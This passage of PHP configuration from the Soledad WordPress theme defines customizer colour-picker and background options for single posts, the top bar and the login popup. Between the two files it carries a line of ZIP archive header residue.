		$desc = esc_html__( 'This option doesn\'t apply for move post title & meta below featured image', 'soledad' );
	}
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'sanitize_hex_color',
		'type'        => 'soledad-fw-color',
		'label'       => $opt_single_color_label,
		'id'          => $opt_single_color_id,
		'description' => $desc
	);
}
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Text Color', 'soledad' ),
	'id'       => 'penci_single_tag_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Borders Color', 'soledad' ),
	'id'       => 'penci_single_tag_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Background Color', 'soledad' ),
	'id'       => 'penci_single_tag_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Text Color', 'soledad' ),
	'id'       => 'penci_single_tag_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Borders Color', 'soledad' ),
	'id'       => 'penci_single_tag_hborder',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Tags Hover Background Color', 'soledad' ),
	'id'       => 'penci_single_tag_hbg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Color', 'soledad' ),
	'id'       => 'penci_single_share_tcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Background Color', 'soledad' ),
	'id'       => 'penci_single_share_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Text Borders Color', 'soledad' ),
	'id'       => 'penci_single_share_bdcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Box Icon Color', 'soledad' ),
	'id'       => 'penci_single_share_icon_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Box Icon Hover Color', 'soledad' ),
	'id'       => 'penci_single_share_icon_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Numbers Like Of Post Color', 'soledad' ),
	'id'       => 'penci_single_number_like_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Background Color for Share Box Style 3', 'soledad' ),
	'id'       => 'penci_single_share_icon_style3_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Background Hover Color for Share Box Style 3', 'soledad' ),
	'id'       => 'penci_single_share_icon_style3_hbgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Text Color Inside Post Content', 'soledad' ),
	'id'       => 'penci_single_color_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Links', 'soledad' ),
	'id'       => 'penci_single_color_links',
);
for ( $pheading = 1; $pheading < 7; $pheading ++ ) {
	$options[] = array(
		'default'  => '',
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => __( 'Custom Color for H' . $pheading . ' Tag Inside Post Content', 'soledad' ),
		'id'       => 'penci_single_color_h' . $pheading,
	);
}
/* social new style*/
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Background Color', 'soledad' ),
	'id'       => 'penci_single_newshare_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social HoverBackground Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hbgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Color', 'soledad' ),
	'id'       => 'penci_single_newshare_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Hover Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Borders Color', 'soledad' ),
	'id'       => 'penci_single_newshare_bcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Social Hover Boders Color', 'soledad' ),
	'id'       => 'penci_single_newshare_hbcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Color', 'soledad' ),
	'id'       => 'penci_single_splus_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Hover Color', 'soledad' ),
	'id'       => 'penci_single_splus_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Background Color', 'soledad' ),
	'id'       => 'penci_single_splus_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Plus Button Hover Background Color', 'soledad' ),
	'id'       => 'penci_single_splus_hbgcolor',
);
/*end social new style*/
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Text Color', 'soledad' ),
	'id'       => 'penci_bquote_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Author Text Color', 'soledad' ),
	'id'       => 'penci_bquote_author_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Blockquote Background Color', 'soledad' ),
	'id'       => 'penci_bquote_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders & Icon Colors on Blockquote', 'soledad' ),
	'id'       => 'penci_bquote_border_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Author Box', 'soledad' ),
	'id'          => 'penci_section_cauthor_box',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#author-box">this guide</a> to know how to setup Author Box', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Box Background Color', 'soledad' ),
	'id'       => 'penci_authorbio_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Box Borders Color', 'soledad' ),
	'id'       => 'penci_authorbio_bordercl',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Name Color', 'soledad' ),
	'id'       => 'penci_authorbio_name_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Name Hover Color', 'soledad' ),
	'id'       => 'penci_authorbio_name_hcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Description Color', 'soledad' ),
	'id'       => 'penci_authorbio_desc_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Social Icons Color', 'soledad' ),
	'id'       => 'penci_authorbio_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Author Social Icons Hover Color', 'soledad' ),
	'id'       => 'penci_authorbio_social_hcolor',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Next/Previous Posts', 'soledad' ),
	'id'       => 'penci_section_cpost_nav',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for "previous post", "next post" Text', 'soledad' ),
	'id'       => 'penci_prevnext_colors',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Post Titles', 'soledad' ),
	'id'       => 'penci_prevnext_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Post Titles on Hover', 'soledad' ),
	'id'       => 'penci_prevnext_hctitle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts & Comments', 'soledad' ),
	'id'       => 'penci_section_crelatedp',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Sections Heading', 'soledad' ),
	'id'       => 'penci_relatedcm_heading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines Before & After Sections Heading', 'soledad' ),
	'id'       => 'penci_relatedcm_lineheading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_hctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Date Color on Related Posts', 'soledad' ),
	'id'       => 'penci_relatedcm_cdate',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Author Color', 'soledad' ),
	'id'       => 'penci_relatedcm_author',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Author Hover Color', 'soledad' ),
	'id'       => 'penci_relatedcm_hauthor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Date Color', 'soledad' ),
	'id'       => 'penci_relatedcm_cmdate',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Reply/Edit Text Color', 'soledad' ),
	'id'       => 'penci_relatedcm_replyedit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Comment Content Color', 'soledad' ),
	'id'       => 'penci_relatedcm_cmcontent',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Comment Form Inputs & Textarea Color', 'soledad' ),
	'description' => __( 'For change color on "Submit" button color, check options on General > Colors > General Buttons', 'soledad' ),
	'id'          => 'penci_relatedcm_cminput',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'GDPR message & "Save my name, email.." Color', 'soledad' ),
	'id'       => 'penci_relatedcm_gdpr',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_single_accent_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'          => 'penci_section_crelated_post_popup',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/related-posts-popup.png">this image</a> to know what is "Related Posts Popup"', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Heading Background on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_heading_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Heading Text Color on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_heading_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Close Button Color on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Post Titles on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Post Titles Hover on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_title_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Date on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_date_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Borders on Related Posts Popup', 'soledad' ),
	'id'       => 'penci_rltpop_border_color',
);

// Smart Lists
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Smart Lists', 'soledad' ),
	'id'       => 'penci_section_smart_lists',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
	'id'       => 'penci_sml_heading_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Text Color', 'soledad' ),
	'id'       => 'penci_sml_number_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Border Color', 'soledad' ),
	'id'       => 'penci_sml_number_bcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Items Number Background Color', 'soledad' ),
	'id'       => 'penci_sml_number_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Description Text Color', 'soledad' ),
	'id'       => 'penci_sml_desc_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Text Color', 'soledad' ),
	'id'       => 'penci_sml_btn_cl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Background Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Border Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bdcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Text Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_hcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Background Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bghcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Buttons Border Hover Color', 'soledad' ),
	'id'       => 'penci_sml_btn_bdhcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Background Color', 'soledad' ),
	'id'       => 'penci_sml_nav_bgcl',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Border Color', 'soledad' ),
	'id'       => 'penci_sml_nav_bdcl',
);

// Sticky Posts
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Sticky Posts Navigations', 'soledad' ),
	'id'       => 'penci_section_sticky_posts_nav',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_bgcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_bdcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_tcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_thcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Post Title Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_mpcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Navigation Color', 'soledad' ),
	'id'       => 'penci_sticky_posts_nav_color',
);

// Focus Mode Button
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Focus Mode', 'soledad' ),
	'id'       => 'penci_section_focus_mode_style',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_fcusmode_bgcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_fcusmode_txtcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Active Background Color', 'soledad' ),
	'id'       => 'penci_fcusmode_bghcolor',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Active Text Color', 'soledad' ),
	'id'       => 'penci_fcusmode_txthcolor',
);

return $options;
PK     0w\`>o"  o"  H  customizer/config/sections/pencidesign_topbar_section_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Current Date/Custom Text" Color', 'soledad' ),
	'id'       => 'penci_topbar_ct_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Top Posts" Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Top Posts" Text Color', 'soledad' ),
	'id'       => 'penci_top_bar_top_posts_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Next/Prev Posts Top Bar Button Color', 'soledad' ),
	'id'       => 'penci_top_bar_button_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Next/Prev Posts Top Bar Button Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_button_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Posts Title Color', 'soledad' ),
	'id'       => 'penci_top_bar_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Text Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Text Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Border Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Menu Dropdown Background Color', 'soledad' ),
	'id'       => 'penci_top_bar_menu_dropdown_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Social Icons Color', 'soledad' ),
	'id'       => 'penci_top_bar_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Social Icons Hover Color', 'soledad' ),
	'id'       => 'penci_top_bar_social_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Login/Register Popup', 'soledad' ),
	'id'       => 'penci_lgpop_form_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Login Icon & Text Color', 'soledad' ),
	'id'       => 'penci_tblgc_icon_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Top Bar Login Icon & Text Hover Color', 'soledad' ),
	'id'       => 'penci_tblgc_icon_htext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Popup Loading Icon', 'soledad' ),
	'id'       => 'penci_tblgpop_cloading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Second Background Color for Popup Form ( for Gradient Background )', 'soledad' ),
	'id'       => 'penci_tblgpop_sbg',
);
$options[] = array(
	'default'  => '0.75',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Color Opacity for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Background Image for Popup Form', 'soledad' ),
	'type'     => 'soledad-fw-image',
	'id'       => 'penci_tblgpop_bgimgage',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	)
);
$options[] = array(
	'default'  => 'fixed',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Attachment for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_attachment',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'fixed'  => __('Fixed','soledad' ),
		'scroll' => __('Scroll','soledad' ),
		'local'  => __('Local','soledad' ),
	)
);
$options[] = array(
	'default'  => 'auto',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Size for Popup Form', 'soledad' ),
	'id'       => 'penci_tblgpop_bg_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'auto'    => __('Auto','soledad' ),
		'cover'   => __('Cover','soledad' ),
		'contain' => __('Contain','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Close Button on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_close',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Titles on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_titles',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color for Input Fields on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_inputs',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color for Input Fields on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_inputs_borders',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Hover Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_hsubmit',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Hover Background Color for Submit Buttons on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_submit_hbg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
